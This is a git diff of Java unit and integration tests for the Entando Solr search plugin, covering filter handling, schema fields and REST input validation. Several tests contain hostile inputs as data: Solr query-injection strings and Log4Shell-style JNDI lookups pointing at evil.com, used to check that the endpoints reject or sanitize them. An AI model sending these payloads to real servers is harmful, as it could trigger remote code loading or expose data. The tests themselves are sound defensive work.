shouldDropFieldNameWithParenthesisAndOrOperator() throws Exception { // Simulates: filters[0].attribute = "foo) OR (*:*" SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectEntityAttrWithInjectedOperator() { + void shouldDropEntityAttrWithInjectedOperator() throws Exception { // Simulates: filters[0].entityAttr = "attr) OR (*:*" (isAttributeFilter = true) SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("attr) OR (*:*", true, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSpaces() { + void shouldDropFieldNameWithSpaces() throws Exception { SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("valid AND malicious", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectLangCodeUsedAsFullTextSearchKey() { + void shouldDropLangCodeUsedAsFullTextSearchKey() throws Exception { // Simulates: lang = "en) OR (*:*" passed as the full-text search field key. // The filter key IS the lang code when fullTextSearch = true. SolrSearchEngineFilter filter = @@ -295,37 +292,31 @@ void shouldRejectLangCodeUsedAsFullTextSearchKey() { TextSearchOption.AT_LEAST_ONE_WORD); filter.setFullTextSearch(true); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectInjectedLangCodePrefixOnAttributeFilter() { + void shouldDropInjectedLangCodePrefixOnAttributeFilter() throws Exception { // Simulates a crafted SolrSearchEngineFilter whose langCode (the prefix // prepended to the field name for attribute filters) contains operators. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("key", true, "value"); filter.setLangCode("en) OR (*:*"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameWithSolrLocalParamsBrace() { + void shouldDropFieldNameWithSolrLocalParamsBrace() throws Exception { // Simulates an attempt to inject Solr local params ({!...}) via field name. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("{!func}log(popularity)", false, "value"); - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, - new SearchEngineFilter[]{}, new ArrayList<>())); + runAndAssert(filter, "+(entity_group:free)"); } @Test - void shouldRejectFieldNameInDoubleFilterArray() { + void shouldDropFieldNameInDoubleFilterArray() throws Exception { // Same injection via the searchFacetedContents(SearchEngineFilter[][] …) overload. SolrSearchEngineFilter filter = new SolrSearchEngineFilter<>("foo) OR (*:*", false, "value"); @@ -333,9 +324,15 @@ void shouldRejectFieldNameInDoubleFilterArray() { SearchEngineFilter[][] doubleFilters = new SearchEngineFilter[][]{{filter}}; - assertThrows(IllegalArgumentException.class, () -> - searcherDAO.searchFacetedContents(doubleFilters, - new SearchEngineFilter[]{}, new ArrayList<>())); + ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); + QueryResponse queryResponse = mockQueryResponse(); + when(solrClient.query(any(), queryCaptor.capture())) + .thenReturn(queryResponse); + + searcherDAO.searchFacetedContents(doubleFilters, + new SearchEngineFilter[]{}, new ArrayList<>()); + + Assertions.assertEquals("+(entity_group:free)", queryCaptor.getValue().getQuery()); } // ------------------------------------------------------------------ @@ -345,7 +342,7 @@ void shouldRejectFieldNameInDoubleFilterArray() { private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throws Exception { ArgumentCaptor queryCaptor = ArgumentCaptor.forClass(SolrQuery.class); QueryResponse queryResponse = mockQueryResponse(); - Mockito.when(solrClient.query(Mockito.any(), queryCaptor.capture())) + when(solrClient.query(any(), queryCaptor.capture())) .thenReturn(queryResponse); searcherDAO.searchFacetedContents(new SearchEngineFilter[]{filter}, @@ -357,13 +354,13 @@ private void runAndAssert(SearchEngineFilter filter, String expectedQuery) throw private void mockDefaultLang() { Lang lang = new Lang(); lang.setCode("en"); - Mockito.when(langManager.getDefaultLang()).thenReturn(lang); + when(langManager.getDefaultLang()).thenReturn(lang); } private QueryResponse mockQueryResponse() { - QueryResponse queryResponse = Mockito.mock(QueryResponse.class); + QueryResponse queryResponse = mock(QueryResponse.class); SolrDocumentList documents = new SolrDocumentList(); - Mockito.when(queryResponse.getResults()).thenReturn(documents); + when(queryResponse.getResults()).thenReturn(documents); return queryResponse; } } \ No newline at end of file diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java new file mode 100644 index 0000000000..2d3b722d7a --- /dev/null +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/SolrFieldsCheckerTest.java @@ -0,0 +1,79 @@ +/* + * Copyright 2021-Present Entando Inc. (http://www.entando.com) All rights reserved. + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of the GNU Lesser General Public License as published by the Free + * Software Foundation; either version 2.1 of the License, or (at your option) + * any later version. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more + * details. + */ +package org.entando.entando.plugins.jpsolr.aps.system.solr; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +import com.agiletec.aps.system.common.entity.model.attribute.AttributeInterface; +import com.agiletec.aps.system.services.lang.Lang; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.stream.Collectors; +import org.entando.entando.plugins.jpsolr.aps.system.solr.model.SolrFields; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +class SolrFieldsCheckerTest { + + private Lang lang(String code) { + Lang lang = new Lang(); + lang.setCode(code); + lang.setDescr(code); + return lang; + } + + @Test + void shouldCreateMainAndAttachmentFieldPerLanguage() { + // No pre-existing fields, no content-type attributes: only the base + per-language + // fields are generated. Each language must yield BOTH the main "" field and the + // "_attachment" field, so a full-text search with includeAttachments=true never + // queries a field the schema doesn't know about. + SolrFieldsChecker checker = new SolrFieldsChecker( + Collections.emptyList(), + Collections.emptyList(), + List.of(lang("en"), lang("it"))); + + List createdFieldNames = checker.checkFields().getFieldsToAdd().stream() + .map(field -> (String) field.get(SolrFields.SOLR_FIELD_NAME)) + .collect(Collectors.toList()); + + assertTrue(createdFieldNames.contains("en"), createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("it"), createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("en" + SolrFields.ATTACHMENT_FIELD_SUFFIX), + createdFieldNames.toString()); + assertTrue(createdFieldNames.contains("it" + SolrFields.ATTACHMENT_FIELD_SUFFIX), + createdFieldNames.toString()); + } + + @Test + void attachmentFieldMatchesMainLanguageFieldTypeAndMultiplicity() { + SolrFieldsChecker checker = new SolrFieldsChecker( + Collections.emptyList(), + Collections.emptyList(), + List.of(lang("en"))); + + List> added = checker.checkFields().getFieldsToAdd(); + Map main = added.stream() + .filter(f -> "en".equals(f.get(SolrFields.SOLR_FIELD_NAME))).findFirst().orElseThrow(); + Map attachment = added.stream() + .filter(f -> ("en" + SolrFields.ATTACHMENT_FIELD_SUFFIX).equals(f.get(SolrFields.SOLR_FIELD_NAME))) + .findFirst().orElseThrow(); + + Assertions.assertEquals(main.get(SolrFields.SOLR_FIELD_TYPE), + attachment.get(SolrFields.SOLR_FIELD_TYPE)); + Assertions.assertEquals(main.get(SolrFields.SOLR_FIELD_MULTIVALUED), + attachment.get(SolrFields.SOLR_FIELD_MULTIVALUED)); + } +} diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java new file mode 100644 index 0000000000..2e9034edc9 --- /dev/null +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/aps/system/solr/model/SolrFacetedContentsResultTest.java @@ -0,0 +1,28 @@ +/* + * Copyright 2021-Present Entando Inc. (http://www.entando.com) All rights reserved. + * + * This library is free software; you can redistribute it and/or modify it under + * the terms of the GNU Lesser General Public License as published by the Free + * Software Foundation; either version 2.1 of the License, or (at your option) + * any later version. + * + * This library is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more + * details. + */ +package org.entando.entando.plugins.jpsolr.aps.system.solr.model; + +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.Test; + +class SolrFacetedContentsResultTest { + + @Test + void totalSizeDefaultsToZero() { + // A brand-new result (e.g. returned when SearcherDAO.executeQuery swallows a Solr + // exception) must report a non-null total. Otherwise PagedMetadata throws an NPE while + // building the response, turning a swallowed Solr error into an HTTP 500. + Assertions.assertEquals(0, new SolrFacetedContentsResult().getTotalSize()); + } +} diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java index 982ee432c1..9f76ba5587 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/AdvContentSearchControllerTest.java @@ -15,6 +15,7 @@ import static org.hamcrest.CoreMatchers.is; import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; @@ -131,6 +132,187 @@ void testGetContents() throws Exception { Assertions.assertEquals(4, evnOccurrencesPayloadSize); } + @Test + void testFullTextFilterWithNullAttributeDoesNotFail() throws Exception { + // A full-text filter carries the search term in "value" and leaves the + // attribute null. The pagination validator used to call isValidField(null,..) + // which threw a NullPointerException -> HTTP 500. It must now succeed. + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].fullText", "true") + .param("filters[0].value", "ciliegia") + .param("lang", "it")); + result.andExpect(status().isOk()); + + ResultActions facetedResult = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].fullText", "true") + .param("filters[0].value", "ciliegia") + .param("lang", "it")); + facetedResult.andExpect(status().isOk()); + } + + // --------------------------------------------------------------------- + // Gap coverage ported from the test_advcontentsearch.sh curl harness: + // validation errors, input sanitization/robustness, content negotiation + // and pagination edges. The happy-path scenarios of the harness are + // already covered by the data-count tests above, so they are not repeated. + // --------------------------------------------------------------------- + + @Test + void testValidationErrorsReturn400() throws Exception { + // page < 1 + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("page", "0")) + .andExpect(status().isBadRequest()); + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("page", "-1")) + .andExpect(status().isBadRequest()); + // pageSize < 0 + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "-5")) + .andExpect(status().isBadRequest()); + // direction not in {ASC, DESC} + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("direction", "SIDEWAYS")) + .andExpect(status().isBadRequest()); + // sort field not in METADATA_FILTER_KEYS + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("sort", "notARealField")) + .andExpect(status().isBadRequest()); + // filter attribute not a valid metadata key + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", "bogusAttr") + .param("filters[0].value", "x")) + .andExpect(status().isBadRequest()); + // filter operator not a known FilterOperator + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", IContentManager.ENTITY_TYPE_CODE_FILTER_KEY) + .param("filters[0].operator", "bananas") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + } + + @Test + void testFullTextWithAttachmentsDoesNotFail() throws Exception { + // Full-text search with includeAttachments=true queries the "_attachment" field. + // That field must exist in the schema even when no attachment content has been indexed, + // otherwise the search fails with HTTP 500 instead of returning results from the main field. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("text", "entando") + .param("includeAttachments", "true") + .param("lang", "en")) + .andExpect(status().isOk()); + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", "entando") + .param("includeAttachments", "true") + .param("lang", "it")) + .andExpect(status().isOk()); + } + + @Test + void testMalformedFilterWithoutFieldReturns400() throws Exception { + // A filter that carries search intent (value + operator) but no attribute/entityAttr + // and is not full-text cannot be honoured. It must be rejected with 400, NOT silently + // discarded (which would broaden the result set) and NOT answered with 500. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].operator", "eq") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].operator", "eq") + .param("filters[0].value", "EVN")) + .andExpect(status().isBadRequest()); + } + + @Test + void testInvalidDateNotValidated() throws Exception { + // Date-format validation only runs for attributes in getDateFilterKeys(), + // which returns an empty list for this controller, so an invalid date value + // is NOT rejected -> 200 (documents the real behavior). + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[0].attribute", IContentManager.CONTENT_CREATION_DATE_FILTER_KEY) + .param("filters[0].operator", "gt") + .param("filters[0].type", "date") + .param("filters[0].value", "not-a-date")) + .andExpect(status().isOk()); + } + + @Test + void testPaginationEdges() throws Exception { + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "0")) + .andExpect(status().isOk()); + mockMvc.perform(get("/plugins/advcontentsearch/contents").param("pageSize", "1000")) + .andExpect(status().isOk()); + } + + @Test + void testInputSanitizationDoesNotFail() throws Exception { + // Potentially dangerous / reserved inputs must be sanitized and answered + // with 200, never a 500. + String longInput = "A".repeat(5000); + String[] texts = { + "cat:dog AND *:*", // Lucene reserved chars + "\") OR (1=1", // query-injection attempt + "", // XSS payload + longInput, // very long input + "日本語 😀 café", // unicode / emoji + "*ento" // leading wildcard + }; + for (String text : texts) { + // A full-text search requires a language (it keys the Solr filter); the test + // supplies a valid lang so the dangerous *value* is what gets exercised. + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", text) + .param("lang", "it")) + .andExpect(status().isOk()); + } + // Sparse high filter index: filters[99] auto-grows 99 empty placeholder filters + // (null attribute AND null value). AdvRestContentListRequest now skips such empty + // filters when building the Solr query instead of failing with "Error: Key required", + // so the request succeeds. + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("filters[99].attribute", IContentManager.ENTITY_TYPE_CODE_FILTER_KEY) + .param("filters[99].operator", "eq") + .param("filters[99].value", "EVN")) + .andExpect(status().isOk()); + } + + @Test + void testContentNegotiationAndMethod() throws Exception { + // Only GET is mapped. + mockMvc.perform(post("/plugins/advcontentsearch/contents")) + .andExpect(status().isMethodNotAllowed()); + // Endpoint only produces JSON. + mockMvc.perform(get("/plugins/advcontentsearch/contents").accept(MediaType.APPLICATION_XML)) + .andExpect(status().isNotAcceptable()); + // Unmapped path. + mockMvc.perform(get("/plugins/advcontentsearch/unknownpath")) + .andExpect(status().isNotFound()); + } + + @Test + void testValidationAndSanitizationAuthenticated() throws Exception { + // The endpoint is guest-accessible; the validator and sanitizer must behave + // identically for an authenticated principal. + UserDetails user = new OAuth2TestUtils.UserBuilder("jack_bauer", "0x24") + .grantedToRoleAdmin().build(); + String accessToken = mockOAuthInterceptor(user); + + mockMvc.perform(get("/plugins/advcontentsearch/contents") + .param("sort", "notARealField") + .requestAttr("user", user) + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isBadRequest()); + + mockMvc.perform(get("/plugins/advcontentsearch/facetedcontents") + .param("text", "cat:dog AND *:*") + .param("lang", "it") + .requestAttr("user", user) + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isOk()); + + // Note: malformed percent-encoding (harness I10/I11, e.g. "%7%"/"%ZZ") fails at + // the servlet container's query parser (Jetty BadMessageException) and cannot be + // reproduced under MockMvc, so it is intentionally not ported here; it remains + // covered by the test_advcontentsearch.sh harness. + } + @Test void testGetContentsByGuestUser_1() throws Exception { ResultActions result = mockMvc @@ -1223,4 +1405,64 @@ void testSearchByOption() throws Exception { super.waitNotifyingThread(); } + @Test + void testFacetedContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testContentsWithInvalidLangReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("lang", "${jndi:ldap://evil.com/exploit}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInSortReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("sort", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterAttributeReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].attribute", "${jndi:ldap://evil.com}") + .param("filters[0].operator", "eq") + .param("filters[0].value", "test")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInFilterValueReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("filters[0].entityAttr", "typeCode") + .param("filters[0].operator", "eq") + .param("filters[0].value", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInCsvCategoriesReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/facetedcontents") + .param("csvCategories", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + + @Test + void testInjectionInTextReturns409() throws Exception { + ResultActions result = mockMvc + .perform(get("/plugins/advcontentsearch/contents") + .param("text", "${jndi:ldap://evil.com}")); + result.andExpect(status().isConflict()); + } + } diff --git a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java index 8d4ed58be5..a612bb4988 100644 --- a/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java +++ b/solr-plugin/src/test/java/org/entando/entando/plugins/jpsolr/web/content/SearchByResourceControllerTest.java @@ -39,7 +39,6 @@ import org.entando.entando.web.utils.OAuth2TestUtils; import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.Assertions; -import org.junit.jupiter.api.BeforeAll; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; @@ -182,10 +181,13 @@ private void executeTests(List addedContentIds) throws Exception { List expectedContentsId = Arrays.asList(addedContentIds.get(1), addedContentIds.get(2)); int payloadSize_1 = JsonPath.read(bodyResult_1, "$.payload.size()"); Assertions.assertEquals(expectedContentsId.size(), payloadSize_1); - for (int i = 0; i < expectedContentsId.size(); i++) { - String extractedId = JsonPath.read(bodyResult_1, "$.payload[" + i + "]"); - Assertions.assertEquals(expectedContentsId.get(i), extractedId); - } + // The three contents share the same 'created' timestamp (all inserted within the + // same second), so sorting by 'created' produces a tie whose order Solr resolves by + // internal document order - i.e. the order the asynchronous indexing threads happen + // to complete, which is not deterministic. Assert membership rather than position. + List actualContentsId_1 = JsonPath.read(bodyResult_1, "$.payload"); + Assertions.assertTrue(actualContentsId_1.containsAll(expectedContentsId), + "expected " + expectedContentsId + " but got " + actualContentsId_1); ResultActions result_2 = mockMvc .perform(get("/plugins/advcontentsearch/contents") @@ -199,10 +201,10 @@ private void executeTests(List addedContentIds) throws Exception { List expectedContentsId_2 = addedContentIds; int payloadSize_2 = JsonPath.read(bodyResult_2, "$.payload.size()"); Assertions.assertEquals(expectedContentsId_2.size(), payloadSize_2); - for (int i = 0; i < expectedContentsId_2.size(); i++) { - String extractedId = JsonPath.read(bodyResult_2, "$.payload[" + i + "]"); - Assertions.assertEquals(expectedContentsId_2.get(i), extractedId); - } + // Order-independent for the same tie-broken 'created' sort reason as above. + List actualContentsId_2 = JsonPath.read(bodyResult_2, "$.payload"); + Assertions.assertTrue(actualContentsId_2.containsAll(expectedContentsId_2), + "expected " + expectedContentsId_2 + " but got " + actualContentsId_2); ResultActions result_3 = mockMvc .perform(get("/plugins/advcontentsearch/contents")